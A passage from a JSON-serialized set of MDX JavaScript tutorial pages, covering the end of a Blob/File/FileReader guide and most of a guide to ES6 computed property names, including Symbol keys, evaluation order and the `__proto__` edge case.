boundary. Setting it manually breaks the upload.\n\n6. **Blobs are immutable** — You can't modify a Blob. Use `slice()` to create new Blobs from portions of existing ones.\n\n7. **Use slice() for large files** — Process files in chunks to avoid loading everything into memory at once.\n\n8. **Data URLs are synchronous but heavy** — They're convenient for small files but base64 encoding increases size by ~33%.\n\n9. **Validate files properly** — Don't trust file extensions or even MIME types. Check magic bytes for security-critical applications.\n\n10. **FormData handles multiple files** — Append files with the same key to upload multiple files in one request.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between Blob and File?\">\n    **Answer:**\n    \n    File extends Blob, inheriting all its properties and methods while adding file-specific metadata:\n    \n    - `name`: The filename (e.g., \"photo.jpg\")\n    - `lastModified`: Timestamp when the file was last modified\n    - `webkitRelativePath`: Path for directory uploads\n    \n    Any API that accepts a Blob also accepts a File, since File is a subclass of Blob.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why must you call URL.revokeObjectURL()?\">\n    **Answer:**\n    \n    `URL.createObjectURL()` creates a reference to the Blob in memory that persists until the page unloads or you explicitly revoke it. Each call allocates memory that won't be garbage collected automatically. \n    \n    If you create many Object URLs without revoking them (like in an image gallery preview), you'll leak memory. Always revoke the URL when you're done using it.\n    \n    ```javascript\n    const url = URL.createObjectURL(blob)\n    img.src = url\n    img.onload = () => URL.revokeObjectURL(url)  // Clean up\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you read a file as text?\">\n    **Answer:**\n    \n    Two approaches:\n    \n    ```javascript\n    // Modern way (Promise-based)\n    const text = await file.text()\n    \n    // Traditional way (FileReader)\n    const reader = new FileReader()\n    reader.onload = () => console.log(reader.result)\n    reader.readAsText(file)\n    ```\n    \n    The modern `blob.text()` method is cleaner for simple reads. Use FileReader when you need progress events.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why shouldn't you set Content-Type when uploading with FormData?\">\n    **Answer:**\n    \n    When uploading files with FormData, the Content-Type must be `multipart/form-data` with a specific boundary string that separates the parts. The browser generates this boundary automatically.\n    \n    If you manually set `Content-Type: 'multipart/form-data'`, you won't include the boundary, and the server can't parse the request. Let the browser handle it:\n    \n    ```javascript\n    // Correct - no Content-Type header\n    fetch('/upload', { method: 'POST', body: formData })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you process a large file without loading it all into memory?\">\n    **Answer:**\n    \n    Use `blob.slice()` to read the file in chunks:\n    \n    ```javascript\n    async function processInChunks(file, chunkSize = 1024 * 1024) {\n      let offset = 0\n      \n      while (offset < file.size) {\n        const chunk = file.slice(offset, offset + chunkSize)\n        const content = await chunk.text()\n        processChunk(content)\n        offset += chunkSize\n      }\n    }\n    ```\n    \n    This processes the file piece by piece, never loading more than `chunkSize` bytes into memory at once.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: When should you use Data URLs vs Object URLs?\">\n    **Answer:**\n    \n    **Data URLs** (`data:...base64,...`):\n    - Self-contained (no external reference)\n    - Can be stored, serialized, sent via JSON\n    - 33% larger than original (base64 overhead)\n    - Synchronous creation with FileReader\n    \n    **Object URLs** (`blob:...`):\n    - Just a reference to the Blob in memory\n    - Must be revoked to free memory\n    - Same size as original data\n    - Only valid in the current document\n    \n    Use Data URLs for small files you need to persist. Use Object URLs for temporary previews and large files.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between Blob and File in JavaScript?\">\n    `File` extends `Blob` with metadata properties: `name`, `lastModified`, and `webkitRelativePath`. A File is always a Blob, but a Blob is not a File. File objects come from user input (`<input type=\"file\">`) or drag-and-drop, while Blobs are created programmatically. The W3C File API specification defines this inheritance.\n  </Accordion>\n\n  <Accordion title=\"How do I create a downloadable file in JavaScript?\">\n    Create a Blob with your content, generate an Object URL with `URL.createObjectURL(blob)`, assign it to an anchor element's `href`, set the `download` attribute to a filename, and trigger a click. Always call `URL.revokeObjectURL()` afterward to free memory.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between Object URLs and Data URLs?\">\n    Object URLs (`blob:...`) are references to in-memory Blob data — they're fast to create but must be manually revoked. Data URLs (`data:...`) encode the full content as a Base64 string — they're larger (about 33% overhead) but self-contained and can be saved or embedded. MDN recommends Object URLs for large files and temporary previews.\n  </Accordion>\n\n  <Accordion title=\"How do I read the contents of a user-selected file?\">\n    Use the `FileReader` API or the modern `file.text()`, `file.arrayBuffer()`, and `file.stream()` methods. `FileReader` uses callbacks while the modern methods return Promises. For text files, `await file.text()` is the simplest approach. For binary data, use `await file.arrayBuffer()`.\n  </Accordion>\n\n  <Accordion title=\"How do I upload large files in chunks?\">\n    Use `blob.slice(start, end)` to split a file into chunks, then upload each chunk separately with `fetch()` and `FormData`. This enables progress tracking, resumable uploads, and avoids server timeout limits. The W3C File API defines `slice()` as a method for creating sub-Blobs from ranges of the original data.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Typed Arrays & ArrayBuffers\" icon=\"database\" href=\"/beyond/concepts/typed-arrays-arraybuffers\">\n    Low-level binary data handling that works with Blobs\n  </Card>\n  <Card title=\"HTTP & Fetch\" icon=\"globe\" href=\"/concepts/http-fetch\">\n    How to upload files to servers using fetch()\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Understanding async operations used by Blob methods\n  </Card>\n  <Card title=\"async/await\" icon=\"clock\" href=\"/concepts/async-await\">\n    Modern syntax for working with FileReader and Blob APIs\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Blob — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Blob\">\n    Official MDN documentation for the Blob interface with constructor, properties, and methods.\n  </Card>\n  <Card title=\"File — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/File\">\n    MDN reference for the File interface that extends Blob with file-specific properties.\n  </Card>\n  <Card title=\"FileReader — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/FileReader\">\n    Complete reference for reading file contents asynchronously with all methods and events.\n  </Card>\n  <Card title=\"Using files from web applications — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications\">\n    MDN guide covering file selection, drag-drop, and practical file handling patterns.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Blob — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/blob\">\n    Comprehensive tutorial covering Blob creation, URLs, conversions, and image handling. Part of the excellent Binary Data section on javascript.info.\n  </Card>\n  <Card title=\"File and FileReader — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/file\">\n    Detailed guide on File objects and FileReader with practical examples for reading different file formats.\n  </Card>\n  <Card title=\"How To Read and Process Files with FileReader — DigitalOcean\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/js-file-reader\">\n    Step-by-step tutorial with complete code examples for text, image, and binary file reading.\n  </Card>\n  <Card title=\"Web File API deep dive — DEV Community\" icon=\"newspaper\" href=\"https://dev.to/tmrc/the-last-file-input-tutorial-youll-ever-need-2023-4ppd\">\n    Modern take on File API covering everything from basic input handling to advanced validation patterns.\n  </Card>\n  <Card title=\"FileReader API — 12 Days of Web\" icon=\"newspaper\" href=\"https://12daysofweb.dev/2023/filereader-api/\">\n    Concise introduction to FileReader with clear explanations of when and why to use each reading method.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"File Reader API in JavaScript — dcode\" icon=\"video\" href=\"https://www.youtube.com/watch?v=bnhE9lEBwLQ\">\n    Clear 10-minute walkthrough of FileReader basics with a practical file preview example. Great starting point.\n  </Card>\n  <Card title=\"JavaScript File Upload Tutorial — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=e0_SAFC5jig\">\n    Complete file upload implementation from frontend to backend, covering validation, progress, and error handling.\n  </Card>\n  <Card title=\"Drag and Drop File Upload — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=_F2Ek-DGsgg\">\n    Practical tutorial building a drag-and-drop file upload zone with preview functionality.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/computed-property-names.mdx",
    "content": "---\ntitle: \"Computed Property Names in JS\"\nsidebarTitle: \"Computed Property Names\"\ndescription: \"Learn JavaScript computed property names. Create dynamic object keys with variables, expressions, Symbols, and computed methods for cleaner ES6+ code.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Modern Syntax & Operators\"\n\"article:tag\": \"computed property names, dynamic object keys, es6 syntax, bracket notation, symbols\"\n---\n\nHave you ever needed to create an object where the property name comes from a variable? Before ES6, this required creating the object first, then adding the property in a separate step. Computed property names changed everything.\n\n```javascript\n// Before ES6 - two steps required\nconst key = 'status';\nconst obj = {};\nobj[key] = 'active';\n\n// ES6 computed property names - single expression\nconst key2 = 'status';\nconst obj2 = { [key2]: 'active' };\n\nconsole.log(obj2);  // { status: 'active' }\n```\n\nWith **computed property names**, introduced in the ECMAScript 2015 specification, you can use any expression inside square brackets `[]` within an object literal, and JavaScript evaluates that expression to determine the property name. This seemingly small syntax addition enables powerful patterns for dynamic object creation.\n\n<Info>\n**What you'll learn in this guide:**\n- What computed property names are and their ES6 syntax\n- How JavaScript evaluates computed keys (order of evaluation)\n- Dynamic keys with variables and expressions\n- Using Symbol keys for unique, non-colliding properties\n- Computed method names, getters, and setters\n- Common patterns: form handling, state updates, internationalization\n- Edge cases: duplicate keys, type coercion, and the `__proto__` gotcha\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes familiarity with [object basics](/concepts/primitive-types) and [bracket notation](/concepts/modern-js-syntax) for property access. Some examples use [Symbols](/beyond/concepts/javascript-type-nuances), which are covered in detail in the Symbol Keys section.\n</Warning>\n\n---\n\n## What are Computed Property Names?\n\n**Computed property names** are an ES6 feature that allows you to use an expression inside square brackets `[]` within an object literal to dynamically determine a property's name at runtime. The expression is evaluated, converted to a string (or kept as a Symbol), and used as the property key. This enables creating objects with dynamic keys in a single expression, eliminating the need for the two-step create-then-assign pattern required before ES6.\n\n```javascript\nconst field = 'email';\nconst value = 'alice@example.com';\n\n// The expression [field] is evaluated to get the key name\nconst formData = {\n  [field]: value,\n  [`${field}_verified`]: true\n};\n\nconsole.log(formData);\n// { email: 'alice@example.com', email_verified: true }\n```\n\nThink of computed property names as **dynamic labels** for your object's filing cabinet. Instead of pre-printing labels (static keys), you're using a label maker (the expression) to print the label right when you create the file.\n\n---\n\n## The Dynamic Label Analogy\n\nImagine you're organizing a filing cabinet. With traditional object literals, you must know all the label names in advance. With computed properties, you can generate labels on the fly.\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    COMPUTED PROPERTY NAMES: DYNAMIC LABELS                   │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   STATIC KEYS (Traditional)              COMPUTED KEYS (ES6)                 │\n│   ─────────────────────────              ──────────────────────              │\n│                                                                              │\n│   Pre-printed labels:                    Label maker:                        │\n│   ┌──────────────────┐                   ┌──────────────────┐                │\n│   │  name: \"Alice\"   │                   │  [key]: \"Alice\"  │                │\n│   │  age: 30         │                   │  [prefix+id]: 30 │                │\n│   └──────────────────┘                   └──────────────────┘                │\n│                                                    │                         │\n│   You must know \"name\"                   key can be any                      │\n│   and \"age\" at write time                expression evaluated                │\n│                                          at runtime                          │\n│                                                                              │\n│   const obj = {                          const key = 'name';                 │\n│     name: \"Alice\",                       const obj = {                       │\n│     age: 30             ──────────────►    [key]: \"Alice\",                   │\n│   };                                       [`user_${key}`]: \"Alice\"          │\n│                                          };                                  │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Basic Syntax\n\nThe syntax is straightforward: wrap any expression in square brackets `[]` where you would normally write a property name.\n\n### Variable as Key\n\nThe most common use case is using a variable's value as the property name:\n\n```javascript\nconst propName = 'score';\nconst player = {\n  name: 'Alice',\n  [propName]: 100\n};\n\nconsole.log(player);        // { name: 'Alice', score: 100 }\nconsole.log(player.score);  // 100\n```\n\n### Template Literal as Key\n\nTemplate literals let you build dynamic key names with string interpolation:\n\n```javascript\nconst prefix = 'user';\nconst id = 42;\n\nconst data = {\n  [`${prefix}_${id}`]: 'Alice',\n  [`${prefix}_${id}_role`]: 'admin'\n};\n\nconsole.log(data);\n// { user_42: 'Alice', user_42_role: 'admin' }\n```\n\n### Expression as Key\n\nAny valid JavaScript expression works inside the brackets:\n\n```javascript\nconst i = 0;\n\nconst obj = {\n  ['prop' + (i + 1)]: 'first',\n  ['prop' + (i + 2)]: 'second',\n  [1 + 1]: 'number key'\n};\n\nconsole.log(obj);\n// { '2': 'number key', prop1: 'first', prop2: 'second' }\n```\n\n### Function Call as Key\n\nYou can even call functions to generate key names:\n\n```javascript\nfunction getKey(type) {\n  return `data_${type}_${Date.now()}`;\n}\n\nconst cache = {\n  [getKey('user')]: { name: 'Alice' }\n};\n\nconsole.log(Object.keys(cache)[0]);\n// Something like: 'data_user_1699123456789'\n```\n\n---\n\n## How the Engine Evaluates Computed Keys\n\nUnderstanding the evaluation order is crucial for avoiding subtle bugs.\n\n### Order of Evaluation: Key Before Value\n\nWhen JavaScript encounters a computed property, it evaluates the **key expression first**, then the **value expression**. Properties are processed left-to-right in source order.\n\n```javascript\nlet counter = 0;\n\nconst obj = {\n  [++counter]: counter,  // key: 1, value: 1\n  [++counter]: counter,  // key: 2, value: 2\n  [++counter]: counter   // key: 3, value: 3\n};\n\nconsole.log(obj);\n// { '1': 1, '2': 2, '3': 3 }\n```\n\nEach property's key expression (`++counter`) is evaluated before its value expression (`counter`), so the key and value end up with the same number.\n\n### Type Coercion: ToPropertyKey()\n\nProperty keys can only be **strings** or **Symbols**. When you use any other type, JavaScript converts it using an internal operation called `ToPropertyKey()`:\n\n| Input Type | Conversion |\n|------------|------------|\n| String | Used as-is |\n| Symbol | Used as-is |\n| Number | Converted to string: `42` → `\"42\"` |\n| Boolean | `true` → `\"true\"`, `false` → `\"false\"` |\n| null | `\"null\"` |\n| undefined | `\"undefined\"` |\n| Object | Calls `toString()` → usually `\"[object Object]\"` |\n| Array | Calls `toString()` → `[1,2,3]` becomes `\"1,2,3\"` |\n\n```javascript\nconst obj = {\n  [42]: 'number',\n  [true]: 'boolean',\n  [null]: 'null',\n  [[1, 2, 3]]: 'array'\n};\n\nconsole.log(obj);\n// { '42': 'number', 'true': 'boolean', 'null': 'null', '1,2,3': 'array' }\n\n// Number keys and string keys can collide!\nconsole.log(obj[42]);    // 'number'\nconsole.log(obj['42']);  // 'number' (same property!)\n```\n\n<Warning>\n**Common gotcha:** Number and string keys that convert to the same string refer to the same property. `obj[1]` and `obj['1']` access the same property.\n</Warning>\n\n---\n\n## Before ES6: The Two-Step Pattern\n\nBefore computed property names, creating objects with dynamic keys required multiple steps:\n\n```javascript\n// ES5: Create object, then add dynamic property\nfunction createUser(role, name) {\n  var obj = {};\n  obj[role] = name;\n  return obj;\n}\n\nvar admin = createUser('admin', 'Alice');\nconsole.log(admin);  // { admin: 'Alice' }\n```\n\nThis was especially awkward in situations requiring single expressions:\n\n```javascript\n// ES5: IIFE pattern for single-expression dynamic keys\nvar role = 'admin';\nvar users = (function() {\n  var obj = {};\n  obj[role] = 'Alice';\n  return obj;\n})();\n\n// ES6: Clean single expression\nconst role2 = 'admin';\nconst users2 = { [role2]: 'Alice' };\n```\n\nThe ES6 syntax shines in:\n- **Default function parameters** that need dynamic objects\n- **Arrow functions** with implicit returns\n- **Const declarations** requiring immediate initialization\n- **Array methods** like `map()` and `reduce()`\n\n```javascript\n// ES6 enables elegant patterns\nconst fields = ['name', 'email', 'age'];\nconst defaults = fields.reduce(\n  (acc, field) => ({ ...acc, [field]: '' }),\n  {}\n);\n\nconsole.log(defaults);\n// { name: '', email: '', age: '' }\n```\n\n---\n\n## Symbol Keys: The Primary Use Case\n\nSymbols are unique, immutable identifiers that can **only** be used as object keys via computed property syntax. According to MDN, this is one of the most important use cases for computed properties and the reason Symbols were designed alongside this syntax in ES2015.\n\n### Why Symbols Need Computed Syntax\n\nYou cannot use a Symbol with the shorthand or colon syntax:\n\n```javascript\nconst mySymbol = Symbol('id');\n\n// This creates a string key \"mySymbol\", NOT a Symbol key!\nconst wrong = { mySymbol: 'value' };\nconsole.log(Object.keys(wrong));  // ['mySymbol']\n\n// This uses the Symbol as the key\nconst correct = { [mySymbol]: 'value' };\nconsole.log(Object.keys(correct));  // [] (Symbols don't appear in keys!)\nconsole.log(Object.getOwnPropertySymbols(correct));  // [Symbol(id)]\n```\n\n### Symbol Keys Are Hidden\n\nSymbol-keyed properties don't appear in most iteration methods:\n\n```javascript\nconst secret = Symbol('secret');\n\nconst user = {\n  name: 'Alice',\n  [secret]: 'classified information'\n};\n\n// Symbol keys are hidden from these:\nconsole.log(Object.keys(user));       // ['name']\nconsole.log(JSON.stringify(user));    // '{\"name\":\"Alice\"}'\n\nfor (const key in user) {\n  console.log(key);  // Only logs 'name'\n}\n\n// But you can still access them:\nconsole.log(user[secret]);  // 'classified information'\nconsole.log(Object.getOwnPropertySymbols(user));  // [Symbol(secret)]\n```\n\n### Well-Known Symbols: Customizing Object Behavior\n\nJavaScript has built-in \"well-known\" Symbols that let you customize how objects behave. These must be used with computed property syntax.\n\n#### Symbol.iterator: Make Objects Iterable\n\n```javascript\nconst range = {\n  start: 1,\n  end: 5,\n\n  [Symbol.iterator]() {\n    let current = this.start;\n    const end = this.end;\n\n    return {\n      next() {\n        if (current <= end) {\n          return { value: current++, done: false };\n        }\n        return { done: true };\n      }\n    };\n  }\n};\n\nconsole.log([...range]);  // [1, 2, 3, 4, 5]\n\nfor (const num of range) {\n  console.log(num);  // 1, 2, 3, 4, 5\n}\n```\n\n#### Symbol.toStringTag: Custom Type String\n\n```javascript\nconst myCollection = {\n  items: [],\n  [Symbol.toStringTag]: 'MyCollection'\n};\n\nconsole.log(Object.prototype.toString.call(myCollection));\n// '[object MyCollection]'\n\n// Compare to a plain object:\nconsole.log(Object.prototype.toString.call({}));\n// '[object Object]'\n```\n\n#### Symbol.toPrimitive: Custom Type Coercion\n\n```javascript\nconst temperature = {\n  celsius: 20,\n\n  [Symbol.toPrimitive](hint) {\n    switch (hint) {\n      case 'number':\n        return this.celsius;\n      case 'string':\n        return `${this.celsius}°C`;\n      default:\n        return this.celsius;\n    }\n  }\n};\n\nconsole.log(+temperature);       // 20 (number hint)\nconsole.log(`${temperature}`);   // '20°C' (string hint)\nconsole.log(temperature + 10);   // 30 (default hint)\n```\n\n### Privacy Patterns with Symbols\n\nWhile not truly private, Symbol keys provide a level of encapsulation:\n\n```javascript\n// Module-scoped Symbol - not exported\nconst _balance = Symbol('balance');\n\nclass BankAccount {\n  constructor(initial) {\n    this[_balance] = initial;\n  }\n\n  deposit(amount) {\n    this[_balance] += amount;\n  }\n\n  getBalance() {\n    return this[_balance];\n  }\n}\n\nconst account = new BankAccount(100);\nconsole.log(Object.keys(account));  // []\nconsole.log(JSON.stringify(account));  // '{}'\nconsole.log(account.getBalance());  // 100\n\n// Still accessible if you know about Symbols:\nconst symbols = Object.getOwnPropertySymbols(account);\nconsole.log(account[symbols[0]]);  // 100\n```\n\n---\n\n## Computed Method Names\n\nComputed property syntax works with method shorthand for dynamically-named methods:\n\n### Basic Computed Methods\n\n```javascript\nconst action = 'greet';\n\nconst obj = {\n  [action]() {\n    return 'Hello!';\n  },\n  [`${action}Loudly`]() {\n    return 'HELLO!';\n  }\n};\n\nconsole.log(obj.greet());        // 'Hello!'\nconsole.log(obj.greetLoudly());  // 'HELLO!'\n```\n\n### Computed Generator Methods\n\n```javascript\nconst iteratorName = 'values';\n\nconst collection = {\n  items: [1, 2, 3],\n\n  *[iteratorName]() {\n    for (const item of this.items) {\n      yield item * 2;\n    }\n  }\n};\n\nconsole.log([...collection.values()]);  // [2, 4, 6]\n```\n\n### Computed Async Methods\n\n```javascript\nconst fetchName = 'fetchData';\n\nconst api = {\n  async [fetchName](url) {\n    const response = await fetch(url);\n    return response.json();\n  }\n};\n\n// api.fetchData('https://api.example.com/data')\n```\n\n---\n\n## Computed Getters and Setters\n\nYou can combine computed property names with [getters and setters](/beyond/concepts/getters-setters):\n\n```javascript\nconst prop = 'fullName';\n\nconst person = {\n  firstName: 'Alice',\n  lastName: 'Smith',\n\n  get [prop]() {\n    return `${this.firstName} ${this.lastName}`;\n  },\n\n  set [prop](value) {\n    const parts = value.split(' ');\n    this.firstName = parts[0];\n    this.lastName = parts[1];\n  }\n};\n\nconsole.log(person.fullName);  // 'Alice Smith'\n\nperson.fullName = 'Bob Jones';\nconsole.log(person.firstName);  // 'Bob'\nconsole.log(person.lastName);   // 'Jones'\n```\n\n### Symbol-Keyed Accessors\n\n```javascript\nconst _value = Symbol('value');\n\nconst validated = {\n  [_value]: 0,\n\n  get [Symbol.for('value')]() {\n    return this[_value];\n  },\n\n  set [Symbol.for('value')](v) {\n    if (typeof v !== 'number') {\n      throw new TypeError('Value must be a number');\n    }\n    this[_value] = v;\n  }\n};\n\nvalidated[Symbol.for('value')] = 42;\nconsole.log(validated[Symbol.for('value')]);  // 42\n```\n\n---\n\n## Real-World Use Cases\n\n### Form Field Handling\n\nReact and Vue state updates commonly use computed properties. According to Stack Overflow's 2023 Developer Survey, React remains the most popular front-end framework, making this pattern one of the most widely used applications of computed property names:\n\n```javascript\n// React-style form handler\nfunction handleInputChange(fieldName, value) {\n  return {\n    [fieldName]: value,\n    [`${fieldName}Touched`]: true,\n    [`${fieldName}Error`]: null\n  };\n}\n\nconst updates = handleInputChange('email', 'alice@example.com');\nconsole.log(updates);\n// {\n//   email: 'alice@example.com',\n//   emailTouched: true,\n//   emailError: null\n// }\n```\n\n### Redux-Style State Updates\n\n```javascript\n// Reducer pattern with computed properties\nfunction updateField(state, field, value) {\n  return {\n    ...state,\n    [field]: value,\n    lastModified: Date.now()\n  };\n}\n\nconst state = { name: 'Alice', email: '' };\nconst newState = updateField(state, 'email', 'alice@example.com');\n\nconsole.log(newState);\n// { name: 'Alice', email: 'alice@example.com', lastModified: 1699123456789 }\n```\n\n### Internationalization (i18n)\n\n```javascript\nfunction createTranslations(locale, translations) {\n  return {\n    [`messages_${locale}`]: translations,\n    [`${locale}_loaded`]: true,\n    [`${locale}_timestamp`]: Date.now()\n  };\n}\n\nconst spanish = createTranslations('es', { hello: 'hola' });\nconsole.log(spanish);\n// {\n//   messages_es: { hello: 'hola' },\n//   es_loaded: true,\n//   es_timestamp: 1699123456789\n// }\n```\n\n### Dynamic API Response Mapping\n\n```javascript\nfunction normalizeResponse(entityType, items) {\n  return items.reduce((acc, item) => ({\n    ...acc,\n    [`${entityType}_${item.id}`]: item\n  }), {});\n}\n\nconst users = [\n  { id: 1, name: 'Alice' },\n  { id: 2, name: 'Bob' }\n];\n\nconst normalized = normalizeResponse('user', users);\nconsole.log(normalized);\n// {\n//   user_1: { id: 1, name: 'Alice' },\n//   user_2: { id: 2, name: 'Bob' }\n// }\n```\n\n---\n\n## Common Mistakes and Edge Cases\n\n### Duplicate Computed Keys: Last One Wins\n\nWhen multiple computed properties evaluate to the same key, the last one overwrites previous values:\n\n```javascript\nconst key = 'same';\n\nconst obj = {\n  [key]: 'first',\n  ['sa' + 'me']: 'second',\n  same: 'third'  // Static key, same string\n};\n\nconsole.log(obj);  // { same: 'third' }\n```\n\n### Keys That Throw Errors\n\nIf the key expression throws, object creation is aborted entirely:\n\n```javascript\nfunction badKey() {\n  throw new Error('Key evaluation failed');\n}\n\n// This throws before the object is created\ntry {\n  const obj = {\n    valid: 'ok',\n    [badKey()]: 'never reached'\n  };\n} catch (e) {\n  console.log(e.message);  // 'Key evaluation failed'\n}\n```\n\n### Object Keys: toString() Collisions\n\nObjects used as keys call `toString()`, which can cause unexpected collisions:\n\n```javascript\nconst objA = { toString: () => 'key' };\nconst objB = { toString: () => 'key' };\n\nconst data = {\n  [objA]: 'first',\n  [objB]: 'second'  // Overwrites! Both → 'key'\n};\n\nconsole.log(data);  // { key: 'second' }\n```\n\n### The `__proto__` Special Case\n\nThe `__proto__` key has special behavior depending on how it's written:\n\n```javascript\n// Non-computed: Sets the prototype!\nconst obj1 = { __proto__: Array.prototype };\nconsole.log(obj1 instanceof Array);  // true\nconsole.log(Object.hasOwn(obj1, '__proto__'));  // false\n\n// Computed: Creates a normal property\nconst obj2 = { ['__proto__']: Array.prototype };\nconsole.log(obj2 instanceof Array);  // false\nconsole.log(Object.hasOwn(obj2, '__proto__'));  // true\n\n// Shorthand: Also creates a normal property\nconst __proto__ = 'just a string';\nconst obj3 = { __proto__ };\nconsole.log(obj3.__proto__);  // 'just a string' (own property)\n```\n\n<Warning>\n**Important:** Only the non-computed colon syntax (`__proto__: value`) sets the prototype. Computed `['__proto__']` and shorthand `{ __proto__ }` create regular properties.\n</Warning>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Computed properties use `[expression]` syntax** in object literals to create dynamic key names at runtime.\n\n2. **The key expression is evaluated before the value expression.** Properties are processed left-to-right in source order.\n\n3. **Non-string/Symbol keys are coerced via ToPropertyKey().** Numbers become strings, objects call `toString()`.\n\n4. **Symbols can ONLY be used as keys via computed property syntax.** The syntax `{ mySymbol: value }` creates a string key `\"mySymbol\"`.\n\n5. **Well-known Symbols customize object behavior.** Use `[Symbol.iterator]` for iteration, `[Symbol.toStringTag]` for type strings.\n\n6. **Computed method syntax enables dynamic method names.** Works with regular methods, generators, and async methods.\n\n7. **Computed getters/setters enable dynamic accessor properties.** Combine `get [expr]()` and `set [expr](v)` for dynamic accessors.\n\n8. **Pre-ES6 required two steps; ES6 enables single-expression objects.** This is especially useful in `reduce()`, arrow functions, and default parameters.\n\n9. **Duplicate computed keys are allowed—last one wins.** No error is thrown; the later value simply overwrites.\n\n10. **The `__proto__` key behaves differently in computed vs non-computed form.** Only non-computed colon syntax sets the prototype.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What's the difference between { key: value } and { [key]: value }?\">\n    **Answer:**\n\n    - `{ key: value }` creates a property with the literal name `\"key\"` (a static string).\n    - `{ [key]: value }` evaluates the variable `key` and uses its **value** as the property name.\n\n    ```javascript\n    const key = 'dynamicName';\n\n    const static = { key: 'value' };\n    console.log(static);  // { key: 'value' }\n\n    const dynamic = { [key]: 'value' };\n    console.log(dynamic);  // { dynamicName: 'value' }\n    ```\n\n    The square brackets signal \"evaluate this expression to get the key name.\"\n  </Accordion>\n\n  <Accordion title=\"In what order are key and value expressions evaluated?\">\n    **Answer:**\n\n    The **key expression is evaluated first**, then the **value expression**. This happens for each property in left-to-right order.\n\n    ```javascript\n    let n = 0;\n    const obj = {\n      [++n]: n,  // key: 1, value: 1\n      [++n]: n   // key: 2, value: 2\n    };\n    // { '1': 1, '2': 2 }\n    ```\n\n    The `++n` in the key runs before `n` in the value is read, so they match.\n  </Accordion>\n\n  <Accordion title=\"What happens when you use an object as a computed key?\">\n    **Answer:**\n\n    The object is converted to a string via its `toString()` method. By default, this returns `\"[object Object]\"`, which can cause unintended collisions:\n\n    ```javascript\n    const a = { id: 1 };\n    const b = { id: 2 };\n\n    const obj = {\n      [a]: 'first',\n      [b]: 'second'  // Overwrites! Both → \"[object Object]\"\n    };\n\n    console.log(obj);  // { '[object Object]': 'second' }\n    ```\n\n    Custom `toString()` methods can provide unique keys, but this pattern is error-prone. Use Symbols or string IDs instead.\n  </Accordion>\n\n  <Accordion title=\"Why must Symbol keys use computed property syntax?\">\n    **Answer:**\n\n    The shorthand and colon syntax only accept identifiers or string literals as property names. Writing `{ mySymbol: value }` creates a property named `\"mySymbol\"` (a string), not a Symbol-keyed property.\n\n    ```javascript\n    const sym = Symbol('id');\n\n    const wrong = { sym: 'value' };\n    console.log(Object.keys(wrong));  // ['sym'] - string key!\n\n    const right = { [sym]: 'value' };\n    console.log(Object.keys(right));  // [] - Symbol key is hidden\n    console.log(Object.getOwnPropertySymbols(right));  // [Symbol(id)]\n    ```\n\n    The `[sym]` syntax tells JavaScript to evaluate the variable and use the Symbol itself as the key.\n  </Accordion>\n\n  <Accordion title=\"How do you create a dynamically-named method?\">\n    **Answer:**\n\n    Use computed property syntax with method shorthand:\n\n    ```javascript\n    const action = 'processData';\n\n    const handler = {\n      [action](data) {\n        return data.map(x => x * 2);\n      },\n\n      // Generator method\n      *[`${action}Iterator`](data) {\n        for (const item of data) {\n          yield item * 2;\n        }\n      },\n\n      // Async method\n      async [`${action}Async`](url) {\n        const response = await fetch(url);\n        return response.json();\n      }\n    };\n\n    console.log(handler.processData([1, 2, 3]));  // [2, 4, 6]\n    ```\n\n    This works with regular methods, generators (`*[name]()`), and async methods (`async [name]()`).\n  </Accordion>\n\n  <Accordion title=\"What happens with duplicate computed keys?\">\n    **Answer:**\n\n    Duplicate keys are allowed—the **last one wins** and overwrites previous values. No error is thrown:\n\n    ```javascript\n    const obj = {\n      ['x']: 1,\n      ['x']: 2,\n      x: 3\n    };\n\n    console.log(obj);  // { x: 3 }\n    ```\n\n    This applies whether the duplicate comes from computed properties, static properties, or a mix. The same rule applies to the rest of JavaScript—later assignments overwrite earlier ones.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are computed property names in JavaScript?\">\n    Computed property names are an ES2015 feature that lets you use any expression inside square brackets `[]` in an object literal to dynamically determine a property's name at runtime. The expression is evaluated, 